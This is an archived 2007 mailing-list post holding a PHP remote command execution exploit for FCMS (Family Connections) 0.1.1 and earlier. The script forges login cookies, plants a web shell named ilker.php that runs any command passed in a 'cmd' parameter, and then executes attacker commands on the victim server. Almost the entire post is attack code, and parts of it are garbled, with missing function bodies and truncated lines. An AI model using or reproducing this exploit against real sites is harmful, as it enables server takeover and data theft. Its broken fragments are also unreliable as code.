|
|||||||||||
|
FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit // www.MefistoLabs.com
From: <ilkerkandemir(at)mynet.com>
Date: Sat Aug 11 2007 - 11:07:52 EDT
# FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit # AUTHOR: ilker kandemir
";
Host: target server (ip/hostname) Path: path of FCMS
Example:
die;
{
This exploit create a ilker.php shell on the victim site */
error_reporting(0);
function quick_dump($string)
$host=$argv[1]; $path=$argv[2]; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $cmd=urlencode($cmd);
$port=80;
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step0 - See If ilker.php already exists..\r\n"; $packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=$cmd\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } echo "Step1 - Retrieving Configuration\r\n"; $packet="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: admin=ilker\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet);
$temp=explode("fputs($fp,\'<?php error_reporting(0); set_time_limit(0); if (get_magic_quotes_gpc()) { $_GET[cmd]=stripslashes($_GET[cmd]); } echo 666999; passthru($_GET[cmd]); echo 666999; ?>\'); fclose($fp); chmod(\'ilker.php\',777); ?>', $config_file[0]); echo "Step2 - Uploading New Data..\r\n"; $data="content=".urlencode($new_file); $packet="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."index.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: fcms_login_id=ilker\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step3 - Executing Shell Maker\r\n"; $packet="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: \r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(3); echo "Step4 - Executing Shell..\r\n"; $packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=$cmd\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } ?> # MefistoLabs.Com Received on Sat Aug 11 11:49:47 2007 This archive was generated by hypermail 2.1.8 : Sun Oct 28 2007 - 06:11:28 EDT |
||||||||||
|
|||||||||||